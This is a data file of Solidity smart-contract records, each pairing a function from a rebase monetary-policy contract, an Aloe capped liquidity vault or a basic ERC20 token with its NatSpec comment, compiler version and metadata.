supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */
NatSpecMultiLine
setRebased
function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; }
/** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 6214, 6384 ] }
1,386
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */
NatSpecMultiLine
setCpiOracle
function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; }
/** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 6529, 6659 ] }
1,387
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */
NatSpecMultiLine
setMarketOracle
function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; }
/** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 6809, 6951 ] }
1,388
AloePoolCapped
contracts/AloePoolCapped.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
AloePoolCapped
contract AloePoolCapped is AloePool { using SafeERC20 for IERC20; address public immutable MULTISIG; uint256 public maxTotalSupply; constructor(address predictions, address multisig) AloePool(predictions) { MULTISIG = multisig; } function deposit( uint256 amount0Max, uint256 amount1Max, uint256 amount0Min, uint256 amount1Min ) public override lock returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { (shares, amount0, amount1) = super.deposit(amount0Max, amount1Max, amount0Min, amount1Min); require(totalSupply() <= maxTotalSupply, "Aloe: Pool already full"); } /** * @notice Removes tokens accidentally sent to this vault. */ function sweep( IERC20 token, uint256 amount, address to ) external { require(msg.sender == MULTISIG, "Not authorized"); require(token != TOKEN0 && token != TOKEN1, "Not sweepable"); token.safeTransfer(to, amount); } /** * @notice Used to change deposit cap for a guarded launch or to ensure * vault doesn't grow too large relative to the UNI_POOL. Cap is on total * supply rather than amounts of TOKEN0 and TOKEN1 as those amounts * fluctuate naturally over time. */ function setMaxTotalSupply(uint256 _maxTotalSupply) external { require(msg.sender == MULTISIG, "Not authorized"); maxTotalSupply = _maxTotalSupply; } }
sweep
function sweep( IERC20 token, uint256 amount, address to ) external { require(msg.sender == MULTISIG, "Not authorized"); require(token != TOKEN0 && token != TOKEN1, "Not sweepable"); token.safeTransfer(to, amount); }
/** * @notice Removes tokens accidentally sent to this vault. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 827, 1103 ] }
1,389
AloePoolCapped
contracts/AloePoolCapped.sol
0x325441fdb3bd45a8093994303cf9b67f3689ac11
Solidity
AloePoolCapped
contract AloePoolCapped is AloePool { using SafeERC20 for IERC20; address public immutable MULTISIG; uint256 public maxTotalSupply; constructor(address predictions, address multisig) AloePool(predictions) { MULTISIG = multisig; } function deposit( uint256 amount0Max, uint256 amount1Max, uint256 amount0Min, uint256 amount1Min ) public override lock returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { (shares, amount0, amount1) = super.deposit(amount0Max, amount1Max, amount0Min, amount1Min); require(totalSupply() <= maxTotalSupply, "Aloe: Pool already full"); } /** * @notice Removes tokens accidentally sent to this vault. */ function sweep( IERC20 token, uint256 amount, address to ) external { require(msg.sender == MULTISIG, "Not authorized"); require(token != TOKEN0 && token != TOKEN1, "Not sweepable"); token.safeTransfer(to, amount); } /** * @notice Used to change deposit cap for a guarded launch or to ensure * vault doesn't grow too large relative to the UNI_POOL. Cap is on total * supply rather than amounts of TOKEN0 and TOKEN1 as those amounts * fluctuate naturally over time. */ function setMaxTotalSupply(uint256 _maxTotalSupply) external { require(msg.sender == MULTISIG, "Not authorized"); maxTotalSupply = _maxTotalSupply; } }
setMaxTotalSupply
function setMaxTotalSupply(uint256 _maxTotalSupply) external { require(msg.sender == MULTISIG, "Not authorized"); maxTotalSupply = _maxTotalSupply; }
/** * @notice Used to change deposit cap for a guarded launch or to ensure * vault doesn't grow too large relative to the UNI_POOL. Cap is on total * supply rather than amounts of TOKEN0 and TOKEN1 as those amounts * fluctuate naturally over time. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 1385, 1558 ] }
1,390
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 internal _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
totalSupply
function totalSupply() public view returns (uint256) { return _totalSupply; }
/** * @dev Total number of tokens in existence */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 454, 550 ] }
1,391
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 internal _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
balanceOf
function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; }
/** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 760, 871 ] }
1,392
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 internal _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
allowance
function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 1200, 1336 ] }
1,393
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 internal _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
transfer
function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; }
/** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 1501, 1646 ] }
1,394
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
contract ERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 internal _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1)) _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } }
approve
function approve(address spender, uint256 value) public returns (bool) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://6f19558de2420b7ca07185b14432715932ab3f7f4c809ef97b67a03a182c5db4
{ "func_code_index": [ 2280, 2486 ] }
1,395
Seals
Seals.sol
0x329023f4014a32ec5380c2be2468095886cb50be
Solidity
ERC20
